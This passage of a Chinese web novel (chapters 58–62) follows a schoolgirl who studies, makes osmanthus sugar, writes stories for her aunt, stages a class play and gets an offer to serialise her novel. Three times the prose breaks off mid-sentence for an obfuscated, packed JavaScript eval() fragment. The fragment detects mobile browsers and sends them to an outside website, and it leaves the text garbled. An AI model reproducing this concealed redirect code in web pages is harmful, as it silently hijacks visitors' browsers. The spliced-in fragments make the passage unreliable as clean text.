马丽丽正忙着在菜里挑肉，随口答道：“没空啊，忙着呢。” “忙什么呢，天天在房间里。” “嗐，做题啊。” 说着马丽丽想起来昨天做题时的感觉，有点抓住规律的感觉，她今天得再巩固巩固。 之前帮小姨把成绩推上去的时候，马丽丽就把初中课本和卷子也跟着都撸了一遍，那时候主要是为了帮小姨提高，所以马丽丽自己倒没认真刷，这回她狠狠刷了一个月的题，倒真的有点慢慢开窍的味道。 没办法，马丽丽知道自己不是个真.天才选手，初中还好，高中以后找不到方法就能把脑子学糊，她以前就是如此，现今不过是笨鸟先飞罢了。 不能死做题，理解很重要。 曾经马丽丽没法理解这句话是什么意思，做数学题还需要理解什么？不就是找到方法，然后解出来吗？现在她好像有些明白了。 简单的来说，就是要在海量的题中找到类似题型中的规律和套路。 这么想着，晚饭也吃的味如嚼蜡起来，马丽丽觉得在刚才做的题型理解上有了点思路，呆会儿找两个例题好好分析分析吧。 吃完饭马丽丽就钻回房间了，马天华和徐明惠面面相觑。 总觉得有点不对，可是又说不上来。 在给孙振华检查身体的时候，马天华就忍不住说了这事。 孙振华不以为然，“小孩子嘛，一时兴起就要玩到尽兴，学东西也是一样。丽丽是喜欢自己一个人琢磨事，不是什么大问题，你们也别瞎操心，等她学一阵子腻了你又要担心她咋不爱学习了。” 马天华哑然，搞不好还真是。 孙振华这么说是有根据的，毕竟马丽丽在他家学了几年，他可能比马丽丽的父母更知道马丽丽的学习习惯。 孙振华是见过世面的，他完全不觉得马丽丽有多天才，跟其他小孩比，可能是聪明了些，难得的是马丽丽还小的时候就展现出的自制力和学习的持续性，而且她本人还愿意学，这不比光有天赋强？ 当然，如果马丽丽以后打算深造走研究道路，那天赋也……努努力，孩子还小，说不定长大点就不一样了呢？ 马丽丽还不知道，自己爱学习还引发了爸妈的担忧，跟孙振华想的一样，才到中秋节的时候，马丽丽就觉得有些厌倦了。 大好童年，为什么要看小明在水池玩耍，一边开水龙头一边拔塞子看多久水会放光；或者看小明追赶公交车，公交车加速度快了是在加速，加速度慢了还是在加速，反正就是追不上；或者小明从棕色瓶子里夹一块什么晶体出来碾碎，又泡在水里溶解看它会发出什么样的臭味，最后又烤干顺便看下蒸发出来的气体燃烧后是什么颜色的火焰。 啊，好傻，难怪小明没有上高中。 59.第五十九章 马丽丽决定放松一下，她先是撸了几个小作文，题材包括中秋的国庆的重阳节的寄到报社，包含了“普信男”和“结婚了才发现你妈不容易”“孝顺外包”之类带梗的小作文寄到杂志社，还有之前晚上写的鸡汤小故事寄到儿童文学社和鸡汤文学社，然后又把之前的退稿修改重寄或是改寄他处，这些马丽丽都很熟练了，不费多少事儿。 中秋时分天气微凉，又到了桂花称霸的季节。 电厂居住区种了许多桂花，金桂银桂四季桂。九月之后，不知从什么时候开始，空气中就开始弥漫起桂花的香味，这香味要一直飘到11月之后才会慢慢散去。 最初香味还是若有似无，渐渐的就霸道起来了，尤其是徐高远住的筒子楼后面，有一株几十年树龄的金桂，盛开的时候香得几乎令人窒息，幸好它长得高大，还不至于叫筒子楼里的人怨声载道，只是住在里面的人都难免沾上了桂花的香味。 这香味顺着风飘到马丽丽家倒是正好，不浓不淡，心旷神怡。 每天金桂树下都会掉落厚厚一层金黄的桂花，没有人觉得可惜，进出的人反倒因为掉在地上的桂花肥厚多汁容易踩成烂泥而觉得麻烦，只有早起的扫地阿姨会用大竹扫帚把它们轻轻的扫到水泥墩子下，松松的堆成一堆，等堆成一大堆后再一起带走。 年纪大的阿姨婆婆们不觉得掉在水泥地上的桂花脏，有时候她们会来这里慢慢的把完整的桂花一朵一朵的收集到小布袋里，挂在身上或是挂在屋子里，便满室浓香。 如果是要做桂花糖或是桂花糕的桂花就不能捡地上的了，得专门摘树上才开的。 往年孙梅都会带着徐明红和马丽丽去打桂花，自从徐明红去省城读书之后，打桂花就只有孙梅和马丽丽了。 先是和姥姥一起仔细的把树下这块水泥地打扫干净，马丽丽把带来的挂历纸和报纸一张一张的铺在地上，这还不够，还有大大小小的几个簸箕和一个桶，也都放在树下。 “好了吗？”孙梅说着，举起一根长竹竿，竹竿另一头绑着一个铁钩。孙梅瞅准了，把铁钩搭在树枝上摇了两下，顿时桂花就如同暴雨一般的落下，落在报纸和簸箕里，发出轻柔的哗哗声。 孙梅和马丽丽都被兜了满头满脸的桂花，马丽丽开心的大叫，小心的晃着脑袋，把身上的桂花都抖在报纸上。 换了一根树枝，又摇两下，“暴雨”再次哗哗的落下，这就结束了。 依旧是满树盛开的桂花，这么摇了一地，好像也并没有减少多少。 孙梅和马丽丽把簸箕和纸上的桂花都收集到桶里，桶一会儿就装满了还冒出了高高的尖尖。孙梅拎着桶在地上顿了两下，尖尖就消失了，剩下的桂花又可以继续装在桶里。 所有的桂花都装好也并不重，孙梅招呼马丽丽把东西都收拾好，一手拎桶，一手拿着竹竿便回家了。 一路上遇到几个路人，都亲切的跟孙梅打招呼。 “打桂花呢？” “哎，是呀。” “孙姨这是准备做桂花糖啊？” “做一点给小孩尝尝。” “哎呦，这么多桂花呀！” “是啊，那树上结的太多了。” “也是，赶明儿我也打一点，香的嘞。” 新鲜的桂花回家得赶快处理，孙梅没有拒绝马丽丽的帮忙。 桌子上铺好报纸，桂花倒在报纸上，桌子太小，一次还倒不下，只能分几次。 新鲜的桂花不能洗，平铺在报纸上，一边摘叶柄，一边将一些破损的、残缺的、干瘪的花朵挑出去。 等报纸上只剩下金黄色的桂花时，就可以开始做桂花糖了。孙梅把昨天洗干净晾干的几个玻璃瓶拿过来，一层白糖一层桂花的装进瓶子里，一边装还要一边轻轻的压一压，装满后就可以放在柜子里了。 桂花太多，不能全部做桂花糖，孙梅把几个瓶子装满后就不装了。 马丽丽把爸爸春天买的茶叶提过来。 幸福小镇周边的乡村都会自己种茶树、吃茶叶、打茶油，每到春天就有不少人挑着自己家炒的茶叶到墟上来卖。 也没有什么高级的包装，茶叶装在箩筐里用扁担挑着，箩筐上放着簸箕，簸箕里放两捆粗黄草纸，如果有人要买茶叶，直接从箩筐里抓一把称好包在草纸里用绳一系就算包装好了。 孙梅把茶叶打开，将茶叶和桂花混合搅拌后又重新包起来，放在罐子里窖一段时间，茶叶就会带有桂花的香味了。 又用海碗装了一碗桂花准备做桂花糕用，桂花还剩很多，只好晒成干花。 当马丽丽吃着桂花馅的糖三角和桂花糕，喝着桂花茶和桂花糖水时，在省城读书的徐明红也收到了一个香香的包裹。 徐明红十分大方的和同学分享了桂花糖和桂花茶，然后急切的打开了马丽丽写的信。 “亲爱的小姨，展信佳。” 怪肉麻的，徐明红心里嘀咕。 亲爱的小姨，展信佳。姥爷身体很好，姥姥身体很好，孙爷爷身体很好，田姥姥身体也很好，爸爸妈妈身体很好，我的身体也很好。 今年的桂花太多了，分你一点，桂花可以美容哦，多喝一点。 家里的西瓜终于吃完了，我妈又给我买了橘子，酸酸甜甜的，柚子也酸酸甜甜的，橙子也酸酸甜甜的。板栗生吃嚼如浆很甜，煮熟了粉粉糯糯，好吃。篮球场边“ju扭子”还没熟，上次有人弄了点下来，一点都不好吃。 我们去爬防空哨，在山顶的后面发现了一颗野板栗树，捡了一书包，原来板栗外面还有一层刺，太扎人了。 你以前告诉我的“乌么子”我找到了，好大一片，不过不太好摘，我们边吃边摘只摘了一点，结果放在书包里都被板栗给碾烂了，搞得我书包和衬衣都染了色，用碱面也洗不干净，所以我干脆自己重新做了一个背包，大家都说挺好看的，我用剩下的布给你也做了一个小的，还有零钱包。 这个徐明红刚才就看到了，不过不是背包，而是一个淡棕色的斜挎小包。包不大，配的带子倒是十分的长，上面绣了一棵树，树下有一只小猫。倒是外面挂了一个小猫玩偶，看起来比包还大。 巴掌大的零钱包就放在小包里，是带搭扣的，上面同样绣着一只小猫，但一外面那只形态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221555|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同。 徐明红立刻背起来试了试，还挺百搭。 继续看信。 上次你带去的小说不是说要给同学看吗？怎么样，她们觉得好看不？哎嘿，我又有灵感了，先写了一点，不过你不在也没人抄稿，我把原稿寄给你，你别给我搞丢了，有空的时候帮我抄一下呗，抄完了可别忘了给我寄回来。 徐明红想到那个压扁的纸筒，原来是这个，她赶紧从包裹里翻找出来打开，果然又是那熟悉的轻飘飘细麻麻又细又小的铅笔字，后面还附了一叠空白稿纸。 徐明红：“……” 信到最后，图穷匕现。 亲爱的小姨，你以前留下的卷子和我之前买的卷子我都做得差不多了，没有新的了，你在省城新华书店帮我买点新的寄回来，最好是奥数奥物奥化这样的哈。 徐明红：？？？ 你要不要看看你都写的啥？ 徐明红真是服了，我都快中专毕业了，谁要去新华书店挑选什么试卷？要我给你花钱，想都别想，不过小说可以看看的。 这个故事开篇说的是一个叫宋飞的大专生，从小不得父母喜欢，在舅舅的支助下读完书，好不容易分配了工作，还没干几年呢，却因为单位效益不好被下岗了。 回家吧，家里大哥娶媳妇把他的房间也占用了，找工作吧，不知道能干嘛，想去投靠舅舅，偏偏收到信说舅舅去世了，他生前没有子女，又写了遗嘱，把他修行的道观让宋飞继承，所以村里就给他写信了。 宋飞自然一脸懵，他舅舅让一个从小学习马克思的人去继承道观？这能行吗？ 可是如果不去他也无处去不是？于是一合计，宋飞就真去当了个假道士，好在道观后面还有一块地，宋飞计划香火靠不上，就靠种田养活自己了。 谁知计划赶不上变化，大概之前宋飞舅舅干的挺好，村里人也不管你是真的还是假的，反正穿上衣服住进道观就都当是真的，什么红事白事妖魔鬼怪事，都来找他。 这天村长来找宋飞，说村子有个废弃的院子前几天开始突然有鬼婴的叫声传出来，村民们众说纷纭，吓得不行，村长只好来找宋飞去驱鬼。 村长叫了几个胆大的村民和宋飞同去，到了院子，还没开始搜索呢，忽的传来婴儿凄厉的哭声，在废弃的房屋中竟然还有些许回音，让人不知道声音是从哪里发出的。 几个村民发出尖锐的爆鸣声，拔腿就跑。 宋飞确实胆大，趁着白天日头好看得清，顺着墙角就去找声音的来处。结果发现原来是一只刚刚会捕猎的山猫崽子不知怎么的，钻到墙缝里被卡住出不来了。 这房子原是泥砖做的，废弃多年，泥砖内部裂痕连成片，猫崽子一叫，声音就从四面八方传来，再加上小猫崽子叫声本来就凄厉，鬼叫声这不就来了？ 宋飞到附近人家去借了把锄头，把小猫救出来，又去跟村长和其他人解释了一遍，还趁机教育大家：“要相信科学，不要搞封建迷信，世界上哪有鬼怪？” 众人：？？ 徐明红：？？ 不是，你一个道士跟别人说要相信科学？ 60.第六十章 徐明红觉得太搞笑了，尤其是最后，村长十分满意宋飞解决了问题，找出了真相，破除了迷信。可是村民们却压根不相信，只觉得宋飞是谦虚，不敢说出真实功力，毕竟现在不都宣传，不能搞封建迷信嘛。 双方有志一同的称赞宋飞是个能干的小伙子，其实心里想的却完全不是一回事。 徐明红被逗的哈哈大笑，向后翻页……啊？没啦？就，就没啦？这不是才刚写了一个开头吗？怎么就没了？ 徐明红不想相信，徐明红十分生气，徐明红气急败坏，她站起来“啪”的把纸甩到桌子上，把室友吓一跳。 “干嘛呀，徐明红？吓死我了。” “没事没事。” 徐明红讪讪坐下，然后她看见了空白的稿纸。 徐明红：“……” 徐明红：马丽丽你要死啊，想我死就直说。可恶可恶可恶！ 徐明红：不想干QAQ 徐明红：干了！你也不能闲着，给我写稿去！ 马丽丽收到徐明红重新抄写好的稿子和新卷子，还有几张义愤填膺的催稿信。 马丽丽打了个喷嚏，揉了揉鼻子，然后把这段时间写的手稿折了折，塞进大信封，无不遗憾的写信通知小姨，因为要准备文艺汇演，她不得以要断更了，更新时间不定，不好意思啦。 是的，又将要到一年一度文艺汇演的时候了，今年同学们早早就向班长马丽丽提要求，要来个像去年那样的节目，尤其是今年开学时候拿到语文课本时发现去年他们表演的节目竟然在语文书里，这让大家充满了惊奇。所以今天大家一致决定，再来个这样的节目。 马丽丽回去想了半天，再次以班长的名义召集班会。 台下小朋友叽叽喳喳，搬个凳子站在讲台后面的马丽丽大喊：“别吵啦别吵啦，咱们早点说完就可以早点回家，都安静，安静。” 几个女同学都帮着喊安静，场面很快就稳定下来了了。 “有同学跟我说咱们今年还搞去年那种节目，所以我准备了两个故事，一个是咱们种花家的，一个是外国故事，想看大家喜欢哪个。” 下面又炸开了锅。 “还有外国故事？” “什么故事啊？” “班长你赶紧说说啊。” “什么名字啊？” “我们还能选吗？” “好了，都先别说话，听我说。”马丽丽抖了一下手里的纸，吸引了大家的注意，“第一个呢，我想用我们的课文《我是什么》，这个大家去看一下（所有人都翻出语文书开始找），等一下再看嘛，我先说另一个，等下要大家来选的，到时候别说没听到。第二个故事是《白雪公主》，这是一个外国童话。” 《白雪公主》虽然是个著名的故事，但大部分二年级的同学还是没听过，于是马丽丽就简单讲了一遍，大家都觉得这个故事挺新奇，但也有些不理解。 马丽丽解释为什么选这两个故事：“跟去年一样，我还是想尽量大家都能上台哈，这两个故事有一些可以一群人上的，到时候想上台的都能安排。” 不出马丽丽所料，大家都选择了课本上的故事，毕竟这外国故事嘛，又没听过，要是演不好咋办啊？ 大家可都不想失败。 《我是什么》这个故事很简单，马丽丽先给大家把课文念了一遍。“我”是云，但也可以是雨，可以是冰雹，也可以是雪。平时我是池塘，是小溪，是江河，是湖海。你说我是什么？ 马丽丽读了一遍，不管听没听懂，大家都说好。 既然决定好了，那就准备起来吧。 马丽丽先用纸画了大中小三个型号的水滴，以此为模板，照着表演的人头，每人一个纸片小水滴，大家自行带回去做一个可以绑在额头的护额。 于是大家八仙过海，各显神通，简单点的就用个纸板剪出形状，没有纸板的就用浆糊将许多张纸平平整整的粘在一起。有的人灵机一动，把奶奶准备用来做布鞋的布绑子剪下来一块，还有讲究一点的用木片或铁片做。 各式各样的“小水滴”做好后粘在底板上，在接上皮筋或是绳子做成一个头圈，最后要等到快表演前才会在“小水滴”上粘上蓝色的纸。 小水滴人手一个，大的水滴只做一个，报纸和浆糊做的纸板，后面连上一根竹竿。剩下的材料就全部做成中型水滴了。 去年表演结束后大家都舍不得将道具扔掉，最后大家决定交给班主任，放在学校的空教室里，这可不又派上了新用场，当初做的“浪花”又被找出来，翻新一下还能用。 这次负责朗诵的，依旧是马丽丽，其他人听她指挥，大家都没意见。 先做了些临时道具，大家就开始编动作，一开始他们是在教室里放学后，可是总是有其他年级的学生跑来围观，于是大家又转移阵地，每天商量着挑地方。 好在时间提前了很多，大家边玩边练，即使改了很多次，也不觉得辛苦。 到了元旦会演的正日子，自然又是好一阵忙活。 今年马丽丽和同学们已经是二年级了，先是嘻笑的看了一年级新生的合唱，十分嘲笑这些幼稚的小屁孩，然后就该他们上场了。 马丽丽穿的光鲜亮丽，头上还带了红色发箍。先台前一鞠躬，之后走到台边，拿着话筒开始表演。 “我，是什么？太阳一晒，我就变成汽。升到天空，我又变成无数极小极小的点儿，连成一片，在空中飘浮。” 是白云。 马丽丽做了一个朗诵手势，道具组的同学紧张的按下按钮，喇叭里开始传来音乐，“年轻的朋友们，今天来相会，荡起小船儿，风轻轻吹。” 一群穿着白色衣裙/裤的女孩子手牵着手，轻盈的从马丽丽身后跑出来。她们做着整齐的动作，一会儿围成圈，一会儿抱成团，之后又垫着脚从舞台的另一边消失不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227779|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 歌曲只唱了两三句，道具组的同学就关掉了开关。 是黑云。 “噔噔噔噔，噔噔噔噔，噔噔噔噔，噔噔噔噔噔”（听到这首西游记前奏，台下都哄堂大笑起来）。 穿着黑衣裤的男孩子们张牙舞爪的跑了上来。他们做着鬼脸和夸张的动作，一会追逐打闹，一会又相互抱着肩膀转圈，最后一窝蜂的从舞台的另一边消失了。 是晚霞。 歌声再次响起，“我们的家乡，在希望的田野上”。 第三次上场却是从舞台的另一边，刚刚上过场的几个穿白衣的女孩子和穿黑衣的男孩子，他们手里举着不同大小的红色纱巾，一个跟着一个，如同舞龙一般，一会儿排成s型，一会儿又组成漩涡，最后，从马丽丽的身后跑了进去。 “我在空中越升越高，体温越来越低，变成了无数小水滴。小水滴聚在一起落下来，人们叫我雨”。 听到这里，幕后道具组的同学们举话筒的举话筒，举铁桶的举铁桶，拿豆子的拿豆子。 “滴，滴，滴，滴。” 一个穿着黑衣服的男同学举一块画着乌云的牌子上来了，也跟着一串举着水滴牌子的同学。前头两个同学还隔着两步远，越往后同学之间间距越近，最后几个几乎人挤人了。 乌云同学从舞台这边走到舞台那边，再从那边出来时，一朵乌云变成了三朵，每一朵乌云后都跟着一大串水滴。幕后的配音也从小雨点变成了倾盆大雨。 马丽丽又开始朗诵：“有时候我变成小硬球打下来，人们就叫我冰雹”。 配音的豆子变成了小石头。台前奔跑的乌云更多了，身后的雨点也变成了冰雹。 “到了冬天，我变成小花朵飘下来，人们又叫我雪”。 所有的声音都消失了，在台上奔跑的孩子们也消失了，穿着白衣服的女孩们飘然而至，几个人手里举着画着雪花的牌子，她们垫着脚整齐的跳了一会舞就下去了。 “平常我在池子里睡觉，在小溪里散步，在江河里奔跑，在海洋里眺舞、唱歌、开大会。” 两个人举着浪花的牌子上来，身后跟着一队人做着动作，之后又是两个人举着浪花上来，身后也跟着一队人，然后是第三组…… 最后，所有人都上台了，大家排好队，浪花组站在最前面，力气最大的男同学举了一块大大的水滴牌子站在后面，大家一起向观众们问：“现在你知道我是什么了吗？” 台下的同学顿时都大喊起来：“是水！” 然后大家大笑着鼓掌。 又是一次成功的演出，虽然因为年龄的关系动作并不整齐，音响条件也有限，但是马丽丽总是有些新点子让大家耳目一新，也算是她小小的金手指吧。 所有人都很开心，只有徐明红不开心，在两次写信催稿无果之后，她决定放寒假回来，亲自向马丽丽催稿。 马丽丽：至于吗？ 61.第六十一章 徐明红放寒假的时候，那天儿是真冷了，都说南方的冬天是魔法攻击，其实在温室效应之前，那是物理魔法双攻击。 因为写字不方便戴手套，不少人都冻出了冻疮，痒起来能把手抠破，好好的手指都肿成萝卜，一年发，年年发，严重一点的，甚至关节会变形。 家家都研究起了治冻疮的偏方，萝卜煮水，萝卜秧子煮水，辣椒仔泡水，枫叶煮水……然而都没有用，还不如抹点蛤蜊油，然后把冻疮贴在铁栏杆上，至少能止痒。 马丽丽也生冻疮了，不过不是在手上，而是在耳朵上。两个油亮的红脓包长在耳垂上，跟耳坠子似的，痒的挠心挠肺的，还不敢抓，怕破皮，马丽丽只小心的用指甲掐十字。 就这样也没防住，有天晚上马丽丽侧着睡的，脓包就被挤破了。棉纱枕巾真是能吸水能吸汗，还能吸血，马丽丽早上起来发现枕巾上血染一大块，枕头和被褥上倒是一点没有。 “妈，妈！” “做什么喊这么大声？” 徐明惠进来看到染红的枕巾，啧啧两声，又扔了回去，“先用着吧，到时候再一块洗，这么冷的天也干不了。” 马丽丽：？？？ 徐明惠又去看马丽丽的耳朵，“这是‘熟了’，干脆把这个耳朵的也挤一挤，一起上药。” 之后，徐明惠拿了根针在火上燎了燎，戳破了脓包，又处理干净，涂了一点红药水，最后还挖了一指甲盖猪油，化开抹了上去。 这下两个大耳垂子，变成了油亮油亮的红色。 弄完后，徐明惠可惜的说：“咱们家也没个多的雷锋帽，不然给你捂着就不生冻疮了。” 马丽丽恍然大悟，对哦，她怎么把保暖套餐给忘记了？ 说来也怪，即使是冬天，围巾只有女性才会用，帽子也几乎只有老人会戴，手套倒是更常见些，但用的人也不多，以前马丽丽也有一双，现在戴太小了，她决定自己做一副保暖三件套。 马丽丽翻出妈妈的毛衣针，这回徐明惠不让她玩了，天冷，手指不灵活，用长针容易戳着人呢。 没关系，又不是打什么大件，不需要这么长的毛衣针。马丽丽拿了一双竹筷子，用削铅笔的小刀削了削。 毛线也不需要什么好毛线，就用妈妈打毛衣剩下的，黄的红的黑的灰的，各色小毛线球全都用上。 先打耳捂子，打耳捂子就不能光打耳捂子，得打个帽子下面连着耳捂子。颜色鲜艳的毛线在上头，颜色略暗的线打下头，帽子顶上再缝个毛绒球，耳捂子两边连个毛线打的小辫，还得缝个红色小花这才好看。 围巾也不能光打个围巾，要打个七彩色的围脖。平时从头顶套下去，折一折堆一堆或是夹几个发卡做造型，需要的时候把围脖一头用皮筋固定，翻过来就是一顶帽子。 手套也不能光打五指手套，写字的时候多不方便呀，得做翻盖手套。一般的翻盖手套，是半截手套加了个盖，只能盖住四个手指。马丽丽打的翻盖手套，是食指和大拇指两个半截加了个盖，虽然麻烦了点，但暖和。 马丽丽几天就做好了，徐明惠很是稀罕的看了看，感觉自己做不来，还是交给女儿吧。 “挺好看的。” “妈，线不够了，帮我买点我打一副给姥姥，还有田姥姥。” “啊？要多少线你自己去百货店看好我再去。” “哦。” 还用说？马丽丽早就去看过了。 姥姥总觉得自己年纪大了，冬天的衣服大多都是黑色灰色，要不就是捡人家的工服穿，她平时也戴毛线帽，黑色的，特别旧。 马丽丽看中了一种偏粉的玫红色，看着好像是年轻女孩喜欢的颜色，打成帽子，上面别朵深红的花，给姥姥，和她的黑衣服搭配不咋眼，打成围巾，夹几道乳白颜色，简约又大气，给田姥姥，和她平时常穿的棕色砖红也能搭配。 收到礼物的田姥姥立刻就试了试，“哎呦，哎呦，好看咧。”围巾打的又密又宽，竖一竖还能挡住耳朵，田姥姥非常喜欢。 “就这个色，我给我姥打了顶帽子，她还说小年轻才用这个色，田姥姥你戴不就挺合适，就是要显年轻呢，我特地选的这个颜色，搭配什么深颜色都好看。” “哎，对对对，好看，你姥姥那个人也是，我觉得就挺好。” 孙振华在旁边“啧”了一声，嫉妒的嘴脸不大好看，“哎，怎么就姥姥有，姥爷就没有吗？” “哎嘿嘿嘿。”马丽丽笑的很贼，“有啊。”她拿出一顶乳白色的贝雷帽，帽子顶还有一个小揪那种，“我也打了一顶帽子给你。” 自从孙爷爷带着老婆第一次在马丽丽面前跳舞的时候，马丽丽就觉得孙爷爷年轻的时候大小是个文艺青年，这贝雷帽不就是文艺青年的时尚单品吗？电视剧里都这么演。 没毛病。 孙振华不嫌弃颜色，美滋滋的拿来就戴，还摆了几个pose。 优雅，实在是优雅。 亲姥爷徐正义打一早就说不用马丽丽忙活，倒不是嫌弃，主要是觉得毛线的漏风，而且他有一个雷锋帽，不需要。 放假后徐明红回来也是一手冻疮，孙梅一边忙着煮萝卜水给她泡手，一边唠叨：“往年都没发过，怎么今年突然用功起来了？” 徐明红心虚道：“要毕业了嘛，作业多了呗。” 前几个孩子都没因为读书的事让孙梅操心过，徐明红一说，她想到徐明红初三那会儿的事，便信了，又说起马丽丽。 “去图书馆借了本什么打毛衣的杂志，自己看着学会的。” 徐明红眼睛一亮，“真的吗？我去看看。”让她给我也整一套。 说着她擦干手，拎起一个袋子大喊：“我给马丽丽买了新卷子，我给她拿去。”便跑出门去。 家里就马丽丽一个人在码字，天太冷，她全副武装，从头包到脚。听到敲门声，马丽丽费劲的起来去开了门，徐明红一下就窜了进来。 “在干嘛呢？姐，姐？” “我妈不在，去学校了。” “哦，你在写啥，我看看。” 又是新篇章，徐明红一乐，拿来就翻看起来，完全忘记了要问新帽子手套的事。 马丽丽打个哈欠，懒洋洋的回来，大冷天真不想动笔，脑子都好像冻住了一样。 “你着什么急啊，哈~~”哈欠打到一半，看到新卷子，又忍不住看起来，心里还感叹：“我要是个真天才就好了。” 这时徐明红突然一拍桌子，“我差点忘了！”她鬼鬼祟祟的说：“我同学的叔叔说，想要你那本书，想，想出书。” 马丽丽哈欠打到一半猛吸了一口冷气，“咳咳咳咳，什么玩意？咳咳，出书？哪本？就那本什么什么中世纪的？” “安，对啊，怎么了？” 还怎么了，从下了十几年反诈APP的经验来看，这事儿是骗人的吧，就那本手搓出来的小说，还是言情小说，重点，言情小说！ 不是马丽丽说，别看大家对琼阿姨的言情小说和影视剧津津乐道，但一说起来好像那都是弯弯人民才喜欢写的东西，在自己家里说起什么爱情来都还得是遮遮掩掩，电影里头谈恋爱最多只能牵手，要不就得把格局放大，加入家国情怀中。现在你说有个人想自己出言情小说？反正马丽丽是不信的。 “是真的。”徐明红从袋子里翻出一封信来，“他还写了信给你。” 马丽丽没立马看信，先听徐明红解释。 原来那本手搓小说被徐明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15231199|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红带去学校后，在班上女同学中简直风靡一时，翻的多了纸就差了，可是大家都不愿意再抄一遍。 有个本地姓吕的女同学特别喜欢这小说，说她家是开印刷厂的，家里有打字机，她会用，可以用机子打一遍新的。 这女同学一大家子住在一起，她叔叔在一个本地杂志社上班，发现她在打的这本小说，觉得挺有意思，就想在杂志社的杂志上连载。 一开始他还以为是自家侄女写的，后来听说不是，又打听到徐明红，结果徐明红也说不是她写的，于是又打听到马丽丽，最后写了封信请徐明红带来。 马丽丽听了有点半信半疑，她打开信来。 “时空大仙：展信佳。” 马丽丽：“……”怎么还用笔名称呼的？ 信里大概意思是杂志社希望能分别连载马丽丽的两个小说，经过讨论决定给予优惠，100个字一块钱，不过文章还要按要求修改一下，而且钱也不是一次性给全部，而是登一期给一期的钱，如果因为销量不好腰斩了，后面的钱就不给了。 还有其他，比如“时空大仙”是未成年，得给个监护人的名字和身份证号才能签合同、汇款，等等等等。最后还有写信交流的地址。 这位吕叔叔的字很豪放，人却挺实在，该说的该注意的都写的非常详细，只是看他的语气，马丽丽猜测对方大概不知道自己才二年级……问题不大。 马丽丽决定把这事托付给小姨来处理，反正是她同学的叔叔，离的近，还有好几个月呢，怎么也够了。就算被坑了也没关系，本来这个言情小说就是因为小姨才能写完的，不赔钱就行，至于另一个小说，就算是个搭头吧。 “哈？我去说？”徐明红觉得自己听错了，“我又不会，我去说什么呀？我不去。” 马丽丽立刻放出大招，“如果真给稿费，到时候我给你一百块钱。” 徐明红顿时瞪大了眼，“有这么多？” 马丽丽就给徐明红算了算，“要是100个字给一块钱，我们这书有八万字呢，如果能全部拿到就有八百块钱。不过我只能给你一百，剩下的钱还要给姥姥，姥爷之前生病的钱还没还完呢。” 那这一百块钱就是纯给自己的，不少了，徐明红犹豫了很久，决定干了。 “可是，我又不会，我去找人说什么啊？” “叫你同学带你去啊，不是她叔叔吗？到时候你也别说我多大，就说我是偷偷写的，身份证号先拿你的，如果他一定要成年人的就拿姥姥的号。稿费都说好了，到时候你带稿子去，如果还要修改再说。也没什么了吧？如果要我们先交点钱以后在稿费里补，或者要先交印刷费什么的，就说没钱，我们不出了，总之要钱的就是骗子，不赚这个钱没关系，不能赔了。” 徐明红似懂非懂，先记下了，又说：“还是先看下要修改什么吧。” 对哦，这才是正事。 两人从一个牛皮信封里把稿子拿出来，一看之下傻眼了，修改意见写的密密麻麻，所有空白的地方几乎都写满了，有的地方写不下甚至还贴了条子。简直让马丽丽怀疑，我写的有这么差吗？ “哇，这么多要改的？”徐明红都想打退堂鼓了，“要不我们算了吧，这么麻烦。” “不行！”被徐明红这么一说，马丽丽反倒下了决心，“问题不大，我来处理。”她仔细翻看了两页，发现大多数都是一些标点符号或是细节，比如增加一点心理活动、对话什么的，大方向没变动。 这还好……吧，为了票票，马丽丽奋力拼搏，花一天的时间整理构思，终于在去游江镇过年之前把小说改好了。她把手稿交给小姨去抄写，自己跟着爸妈回游江镇过年去了。 去之前照例又是去澡堂大洗一番。 62.第六十二章 电厂的澡堂一到冬天就是人多，家属和休假职工都是还没到下班时间就赶着先去洗澡，不然一会儿空位就没了。 徐明惠提着桶拿着盆，装着所有洗头洗澡用的东西，带着马丽丽早早就去了澡堂。 还没到门口呢，远远就看见澡堂上空冒着白烟，男女两边门上都挂着厚厚的棉帘，一进去迎面热气滚滚，甚至让人感觉有些窒息。这就是为什么大家冬天都爱来这洗澡的原因了，暖气片在南方可少见，电厂只有澡堂有。 人已经开始多了，徐明惠抓住机会占了一个衣服格子，又赶紧把马丽丽的衣服脱下来放在暖气片上，先到先占。 两人光着身子去后面，澡堂格成一间间的格间，都是沐浴，不适合小朋友，所以得带桶。 “快点快点。”徐明惠催促，不抓紧不行，一会儿下班了都是人，大家伙都光着身子排队，虽然都是女的，但有个人站旁边看着你洗澡也不自在啊。 飞快的先给马丽丽洗了头，又用压扁了的丝瓜瓤子给她搓得通红，徐明惠这才给自己洗头，她蹲着抓头，马丽丽就给她搓背。 